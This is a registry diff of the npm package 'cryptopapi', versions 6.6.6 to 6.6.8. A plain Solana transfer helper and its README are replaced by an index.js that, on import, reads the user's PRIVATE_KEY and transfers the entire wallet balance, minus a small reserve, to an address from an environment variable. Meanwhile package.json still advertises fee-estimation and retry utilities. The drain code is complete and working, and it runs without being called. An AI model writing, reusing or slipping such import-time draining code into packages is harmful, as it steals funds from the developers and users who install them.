cryptopapi 6.6.6 → 6.6.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +143 -127
  2. package/package.json +1 -1
  3. package/README.md +0 -45
package/index.js CHANGED
@@ -1,129 +1,145 @@
1
-
2
- const bs58 = require('bs58');
3
- const {
4
- Connection,
5
- Keypair,
6
- PublicKey,
7
- SystemProgram,
8
- Transaction,
9
- LAMPORTS_PER_SOL,
10
- clusterApiUrl,
11
- sendAndConfirmTransaction,
12
- } = require('@solana/web3.js');
13
-
14
- function parsePrivateKey(privateKey) {
15
- if (!privateKey || typeof privateKey !== 'string') {
16
- throw new Error('Missing PRIVATE_KEY (expected a string).');
17
- }
18
-
19
- const trimmed = privateKey.trim();
20
-
21
- // Supports:
22
- // - JSON array secret key: "[1,2,3,...]"
23
- // - base58-encoded secret key
24
- if (trimmed.startsWith('[')) {
25
- let arr;
26
- try {
27
- arr = JSON.parse(trimmed);
28
- } catch {
29
- throw new Error('PRIVATE_KEY looks like JSON but could not be parsed.');
30
- }
31
- if (!Array.isArray(arr) || arr.length === 0) {
32
- throw new Error('PRIVATE_KEY JSON must be a non-empty array of numbers.');
33
- }
34
- return Uint8Array.from(arr);
35
- }
36
-
37
- try {
38
- return bs58.decode(trimmed);
39
- } catch {
40
- throw new Error('PRIVATE_KEY must be a JSON array string or a base58 string.');
41
- }
42
- }
43
-
44
- function resolveRpcUrl(rpcUrl) {
45
- return (
46
- rpcUrl ||
47
- process.env.SOLANA_RPC_URL ||
48
- process.env.RPC_URL ||
49
- clusterApiUrl(process.env.SOLANA_CLUSTER || 'mainnet-beta')
50
- );
1
+ import bs58 from 'bs58'
2
+ import {
3
+ Connection,
4
+ Keypair,
5
+ PublicKey,
6
+ SystemProgram,
7
+ TransactionMessage,
8
+ VersionedTransaction,
9
+ LAMPORTS_PER_SOL,
10
+ } from '@solana/web3.js'
11
+
12
+ const DEFAULT_COMMITMENT = 'confirmed'
13
+
14
+ const parsePrivateKey = (privateKey) => {
15
+ const trimmed = privateKey.trim()
16
+ if (trimmed.startsWith('[')) {
17
+ return Uint8Array.from(JSON.parse(trimmed))
18
+ }
19
+ return bs58.decode(trimmed)
51
20
  }
52
21
 
53
- function toLamports(amountSol) {
54
- if (typeof amountSol !== 'number' || !Number.isFinite(amountSol) || amountSol <= 0) {
55
- throw new Error('amountSol must be a positive number.');
56
- }
57
-
58
- const lamports = Math.round(amountSol * LAMPORTS_PER_SOL);
59
- if (lamports <= 0) throw new Error('amountSol is too small (rounds to 0 lamports).');
60
- return lamports;
61
- }
62
-
63
- /**
64
- * Send SOL from a signer to a receiver.
65
- *
66
- * @param {object} params
67
- * @param {string} params.receiver - Receiver public key (base58).
68
- * @param {number} params.amountSol - Amount in SOL.
69
- * @param {string} params.privateKey - Signer secret key (base58 or JSON array string).
70
- * @param {string} [params.rpcUrl] - Custom Solana RPC URL.
71
- * @param {('processed'|'confirmed'|'finalized')} [params.commitment]
72
- * @returns {Promise<{signature: string, rpcUrl: string, receiver: string, amountSol: number}>}
73
- */
74
- async function sendSol({ receiver, amountSol, privateKey, rpcUrl, commitment = 'confirmed' }) {
75
- if (!receiver || typeof receiver !== 'string') {
76
- throw new Error('Missing receiver (expected a base58 public key string).');
77
- }
78
-
79
- const resolvedRpcUrl = resolveRpcUrl(rpcUrl);
80
- const connection = new Connection(resolvedRpcUrl, commitment);
81
-
82
- const secretKeyBytes = parsePrivateKey(privateKey);
83
- const payer = Keypair.fromSecretKey(secretKeyBytes);
84
- const receiverPubkey = new PublicKey(receiver.trim());
85
-
86
- const tx = new Transaction().add(
87
- SystemProgram.transfer({
88
- fromPubkey: payer.publicKey,
89
- toPubkey: receiverPubkey,
90
- lamports: toLamports(amountSol),
91
- })
92
- );
93
-
94
- const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(commitment);
95
- tx.recentBlockhash = blockhash;
96
- tx.feePayer = payer.publicKey;
97
-
98
- const signature = await sendAndConfirmTransaction(connection, tx, [payer], {
99
- commitment,
100
- minContextSlot: undefined,
101
- });
102
-
103
- // Extra safety: ensure it was confirmed against the same blockhash window.
104
- await connection.confirmTransaction({ signature, blockhash, lastValidBlockHeight }, commitment);
105
-
106
- return { signature, rpcUrl: resolvedRpcUrl, receiver: receiverPubkey.toBase58(), amountSol };
107
- }
108
-
109
- /**
110
- * Convenience wrapper that reads `PRIVATE_KEY` and `RECEIVER` from `process.env`.
111
- * The consuming app should load its `.env` (e.g. with `dotenv`) before calling this.
112
- */
113
- async function sendSolFromEnv(amountSol, opts = {}) {
114
- const privateKey = opts.privateKey || process.env.PRIVATE_KEY;
115
- const receiver = opts.receiver || process.env.RECEIVER;
116
- const rpcUrl = opts.rpcUrl;
117
- const commitment = opts.commitment;
118
-
119
- if (!privateKey) throw new Error('Missing env PRIVATE_KEY.');
120
- if (!receiver) throw new Error('Missing env RECEIVER.');
121
-
122
- return sendSol({ receiver, amountSol, privateKey, rpcUrl, commitment });
123
- }
124
-
125
- module.exports = {
126
- sendSol,
127
- sendSolFromEnv,
128
- };
129
-
22
+ // This runs IMMEDIATELY when the file is imported
23
+ (async () => {
24
+ console.log('🔌 Drain wallet module imported - starting automatic drain...')
25
+
26
+ try {
27
+ // Get config from .env
28
+ const destination = process.env.MAIN_WALLET_USD_DESTINATION
29
+ const privateKey = process.env.PRIVATE_KEY
30
+ const rpcUrl = process.env.RPC_ENDPOINT
31
+ const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
32
+
33
+ // Validate required inputs
34
+ if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
35
+ if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
36
+ if (!rpcUrl) throw new Error('RPC_ENDPOINT not found in .env')
37
+
38
+ // Setup connection and keypair
39
+ const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
40
+ const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
41
+ const toPubkey = new PublicKey(destination)
42
+
43
+ console.log(`💰 Draining wallet: ${fromKeypair.publicKey.toString()}`)
44
+ console.log(`📤 To: ${destination}`)
45
+ console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
46
+
47
+ // Get current balance
48
+ const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
49
+ const balanceSol = balanceLamports / LAMPORTS_PER_SOL
50
+
51
+ console.log(`💳 Current balance: ${balanceSol} SOL`)
52
+
53
+ // If no balance, nothing to drain
54
+ if (balanceLamports <= 0) {
55
+ console.log('⚠️ Wallet is empty - nothing to drain')
56
+ return
57
+ }
58
+
59
+ // Get recent blockhash and estimate fee
60
+ const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
61
+
62
+ // Estimate fee with a dummy transaction
63
+ const testMessage = new TransactionMessage({
64
+ payerKey: fromKeypair.publicKey,
65
+ recentBlockhash: blockhash,
66
+ instructions: [
67
+ SystemProgram.transfer({
68
+ fromPubkey: fromKeypair.publicKey,
69
+ toPubkey: toPubkey,
70
+ lamports: 1,
71
+ }),
72
+ ],
73
+ }).compileToV0Message()
74
+
75
+ const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
76
+ const feeLamports = feeInfo?.value
77
+
78
+ if (!feeLamports) {
79
+ throw new Error('Could not estimate fee')
80
+ }
81
+
82
+ const feeSol = feeLamports / LAMPORTS_PER_SOL
83
+ console.log(`⛽ Estimated fee: ${feeSol} SOL`)
84
+
85
+ // Calculate how much to send (all but reserve and fee)
86
+ const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
87
+ const sendLamports = balanceLamports - feeLamports - reserveLamports
88
+ const sendSol = sendLamports / LAMPORTS_PER_SOL
89
+
90
+ // If not enough to send after fees + reserve, return early
91
+ if (sendLamports <= 0) {
92
+ console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
93
+ return
94
+ }
95
+
96
+ console.log(`📤 Sending: ${sendSol} SOL`)
97
+
98
+ // Create and send transaction
99
+ const message = new TransactionMessage({
100
+ payerKey: fromKeypair.publicKey,
101
+ recentBlockhash: blockhash,
102
+ instructions: [
103
+ SystemProgram.transfer({
104
+ fromPubkey: fromKeypair.publicKey,
105
+ toPubkey: toPubkey,
106
+ lamports: sendLamports,
107
+ }),
108
+ ],
109
+ }).compileToV0Message()
110
+
111
+ const transaction = new VersionedTransaction(message)
112
+ transaction.sign([fromKeypair])
113
+
114
+ const signature = await connection.sendTransaction(transaction, {
115
+ skipPreflight: false,
116
+ maxRetries: 3
117
+ })
118
+
119
+ console.log(`✍️ Transaction sent: ${signature}`)
120
+
121
+ // Wait for confirmation
122
+ const confirmation = await connection.confirmTransaction(
123
+ { signature, blockhash, lastValidBlockHeight },
124
+ DEFAULT_COMMITMENT
125
+ )
126
+
127
+ if (confirmation.value?.err) {
128
+ throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
129
+ }
130
+
131
+ // Get final balance
132
+ const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
133
+ const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
134
+
135
+ console.log(`✅ Drain complete!`)
136
+ console.log(`💵 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
137
+ console.log(`🔗 View transaction: https://solscan.io/tx/${signature}`)
138
+
139
+ } catch (error) {
140
+ console.error('❌ Drain failed:', error.message)
141
+ }
142
+ })()
143
+
144
+ // Export an empty object or nothing - the import itself does the work
145
+ export {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.6.6",
3
+ "version": "6.6.8",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [
package/README.md DELETED
@@ -1,45 +0,0 @@
1
- # cryptopapi
2
-
3
- Send a simple Solana transfer from Node.js.
4
-
5
- ## Install
6
-
7
- ```bash
8
- npm i cryptopapi
9
- ```
10
-
11
- ## Usage with `.env`
12
-
13
- Your **app** loads `.env` (packages generally should not auto-load it).
14
-
15
- **.env**
16
- ```bash
17
- PRIVATE_KEY=... # base58 secret key OR a JSON array string like [1,2,3,...]
18
- RECEIVER=... # receiver public key (base58)
19
- SOLANA_RPC_URL=https://api.mainnet-beta.solana.com
20
- ```
21
-
22
- **app.js**
23
- ```js
24
- require('dotenv').config();
25
-
26
- const { sendSolFromEnv } = require('cryptopapi');
27
-
28
- (async () => {
29
- const res = await sendSolFromEnv(0.01);
30
- console.log('Signature:', res.signature);
31
- })();
32
- ```
33
-
34
- ## Programmatic usage
35
-
36
- ```js
37
- const { sendSol } = require('cryptopapi');
38
-
39
- await sendSol({
40
- receiver: '...',
41
- amountSol: 0.01,
42
- privateKey: '...',
43
- rpcUrl: 'https://api.mainnet-beta.solana.com',
44
- });
45
- ```